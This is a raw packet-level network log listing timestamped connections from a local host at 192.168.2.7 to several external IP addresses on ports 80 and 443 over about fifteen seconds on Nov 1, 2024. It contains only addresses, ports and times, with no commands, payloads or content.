Nov 1, 2024 12:34:10.569933891 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.569957018 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.569982052 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.570333004 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570339918 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570352077 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570379019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570384026 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570385933 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.570390940 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570398092 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570421934 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.570441008 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.570511103 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570517063 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570527077 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570532084 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570538998 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570554972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570560932 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570561886 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.570566893 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570580959 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570588112 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.570610046 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.570744991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570750952 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.570794106 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:11.336740017 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:11.337311029 CET	49975	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:11.342391014 CET	80	49975	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:11.342751980 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:11.342844963 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:11.342859983 CET	49975	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:11.343264103 CET	49975	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:11.348526001 CET	80	49975	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:12.242275953 CET	80	49975	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:12.242333889 CET	49975	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:12.349431038 CET	49975	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:12.349762917 CET	49976	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:12.354599953 CET	80	49976	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:12.354618073 CET	80	49975	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:12.354711056 CET	49975	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:12.354712963 CET	49976	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:12.354995012 CET	49976	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:12.359818935 CET	80	49976	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:13.253590107 CET	80	49976	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:13.253653049 CET	49976	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:13.259772062 CET	49976	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:13.264611006 CET	80	49976	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:13.541591883 CET	80	49976	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:13.541656017 CET	49976	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:13.603574038 CET	49973	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:13.646219015 CET	49976	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:13.646569967 CET	49977	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:13.651556015 CET	80	49977	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:13.651675940 CET	49977	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:13.651787043 CET	49977	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:13.654015064 CET	80	49976	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:13.654112101 CET	49976	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:13.656985998 CET	80	49977	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:13.686522007 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:13.686573029 CET	443	49978	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:13.686654091 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:13.690046072 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:13.690058947 CET	443	49978	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:14.328448057 CET	443	49978	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:14.328629017 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:14.338357925 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:14.338388920 CET	443	49978	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:14.338651896 CET	443	49978	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:14.395351887 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:14.404293060 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:14.404329062 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:14.404483080 CET	443	49978	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:14.558655024 CET	80	49977	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:14.561393976 CET	49977	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:14.562416077 CET	49977	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:14.567287922 CET	80	49977	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:14.844605923 CET	80	49977	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:14.844826937 CET	49977	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:14.960797071 CET	49977	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:14.961127043 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:14.966269970 CET	80	49977	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:14.966300964 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:14.966412067 CET	49977	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:14.966451883 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:14.966824055 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:14.971760035 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:15.061865091 CET	443	49978	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:15.061973095 CET	443	49978	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:15.062022924 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:15.064363003 CET	49978	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:15.064380884 CET	443	49978	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:15.148864031 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:15.148906946 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:15.149013042 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:15.149461985 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:15.149475098 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:15.778192043 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:15.778278112 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:15.779829025 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:15.779838085 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:15.780092001 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:15.781495094 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:15.781495094 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:15.781563044 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:15.871655941 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:15.872600079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:15.872600079 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:15.877599955 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:16.160604000 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:16.160661936 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:16.271157980 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:16.271533012 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:16.277138948 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:16.277193069 CET	80	49979	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:16.277211905 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:16.277240992 CET	49979	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:16.277415991 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:16.279973984 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280366898 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280400038 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280411005 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.280430079 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280464888 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280483961 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.280489922 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280531883 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.280787945 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280842066 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280868053 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280879021 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.280884981 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.280966043 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.282227993 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:16.399734020 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.399807930 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.399842024 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.399920940 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.399952888 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.399975061 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.399997950 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.400037050 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.400171995 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.400187016 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.400197983 CET	49980	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.400202990 CET	443	49980	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.530854940 CET	49982	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.530909061 CET	443	49982	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:16.531023979 CET	49982	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.531337976 CET	49982	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:16.531354904 CET	443	49982	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:17.155311108 CET	443	49982	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:17.155448914 CET	49982	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:17.156891108 CET	49982	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:17.156899929 CET	443	49982	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:17.157176971 CET	443	49982	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:17.164518118 CET	49982	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:17.164654970 CET	49982	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:17.164683104 CET	443	49982	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:17.171116114 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:17.173507929 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:17.174247980 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:17.179193974 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:17.452997923 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:17.453231096 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:17.568097115 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:17.568444014 CET	49983	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:17.573307991 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:17.573391914 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:17.573537111 CET	80	49983	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:17.573613882 CET	49983	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:17.573976040 CET	49983	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:17.578959942 CET	80	49983	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:17.908219099 CET	443	49982	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:17.908313036 CET	443	49982	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:17.908530951 CET	49982	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:17.908814907 CET	49982	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:17.908830881 CET	443	49982	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:18.164319038 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:18.164366961 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:18.164483070 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:18.164923906 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:18.164935112 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:18.507463932 CET	80	49983	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:18.507580996 CET	49983	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:18.510309935 CET	49983	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:18.515360117 CET	80	49983	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:18.785324097 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:18.785409927 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:18.798336983 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:18.798357010 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:18.798746109 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:18.798800945 CET	80	49983	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:18.798860073 CET	49983	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:18.800183058 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:18.800266981 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:18.800326109 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:18.800375938 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:18.800379992 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:18.911804914 CET	49983	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:18.912153959 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:18.917210102 CET	80	49983	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:18.917272091 CET	49983	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:18.917433023 CET	80	49985	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:18.917503119 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:18.917663097 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:18.923085928 CET	80	49985	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:19.553754091 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:19.553873062 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:19.554111958 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:19.607176065 CET	49984	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:19.607206106 CET	443	49984	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:19.836199045 CET	80	49985	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:19.836262941 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:19.837033033 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:19.841888905 CET	80	49985	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:19.863158941 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:19.863194942 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:19.864331961 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:19.864717007 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:19.864727974 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:20.127094984 CET	80	49985	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:20.127192974 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:20.224457979 CET	49987	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:20.239990950 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:20.240108013 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:20.551831007 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:21.161078930 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:21.223608017 CET	49987	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:21.254851103 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:21.259658098 CET	80	49987	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:21.259671926 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:21.259691954 CET	80	49985	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:21.259744883 CET	80	49985	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:21.259757996 CET	80	49987	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:21.259859085 CET	49987	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:21.259896040 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:21.259907961 CET	49987	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:21.260166883 CET	49987	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:21.260181904 CET	80	49985	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:21.260382891 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:21.260402918 CET	49985	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:21.261447906 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:21.261557102 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:21.263047934 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:21.263072014 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:21.263345003 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:21.264003992 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:21.265388966 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:21.266870022 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:21.267168045 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:21.267268896 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:21.267352104 CET	80	49987	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:21.267359018 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:21.267374039 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:21.267462969 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:22.495374918 CET	80	49987	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:22.495387077 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:22.495409966 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:22.495546103 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:22.495579958 CET	49987	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:22.495584011 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:22.495625019 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:22.495706081 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:22.496376991 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:22.496567965 CET	49986	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:22.496583939 CET	443	49986	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:22.498434067 CET	49987	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:22.501496077 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:22.503271103 CET	80	49987	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:22.779793978 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:22.779856920 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:22.780576944 CET	80	49987	185.215.113.206	192.168.2.7
Nov 1, 2024 12:34:22.780630112 CET	49987	80	192.168.2.7	185.215.113.206
Nov 1, 2024 12:34:22.896403074 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:22.896800995 CET	49989	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:22.973887920 CET	49990	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:22.973952055 CET	443	49990	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:22.974036932 CET	49990	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:22.974415064 CET	49990	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:22.974440098 CET	443	49990	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:23.114871979 CET	80	49989	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:23.115009069 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:23.115042925 CET	49989	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:23.115066051 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:23.115336895 CET	49989	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:23.120232105 CET	80	49989	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:23.707710981 CET	443	49990	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:23.707899094 CET	49990	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:23.709640980 CET	49990	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:23.709660053 CET	443	49990	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:23.709870100 CET	443	49990	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:23.711231947 CET	49990	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:23.711338997 CET	49990	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:23.711344957 CET	443	49990	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:24.021116972 CET	80	49989	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:24.021190882 CET	49989	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:24.022068977 CET	49989	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:24.027148962 CET	80	49989	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:24.198446035 CET	443	49990	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:24.198533058 CET	443	49990	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:24.198620081 CET	49990	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:24.198853970 CET	49990	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:24.198875904 CET	443	49990	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:24.304111958 CET	80	49989	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:24.304200888 CET	49989	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:24.485723972 CET	49989	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:24.486056089 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:24.490962029 CET	80	49989	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:24.491051912 CET	49989	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:24.491220951 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:24.491321087 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:24.863204956 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:24.868453026 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:25.168570995 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.168633938 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.168740988 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.169317961 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.169329882 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.412184000 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:25.414295912 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:25.417139053 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:25.422394037 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:25.706204891 CET	80	49991	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:25.708091974 CET	49991	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:25.808695078 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.808861971 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.810245991 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.810265064 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.810519934 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.811825991 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.812659025 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.812690973 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.812957048 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.812984943 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.813668013 CET	49992	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:25.813703060 CET	443	49992	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:25.814234018 CET	49992	443	192.168.2.7	188.114.96.3
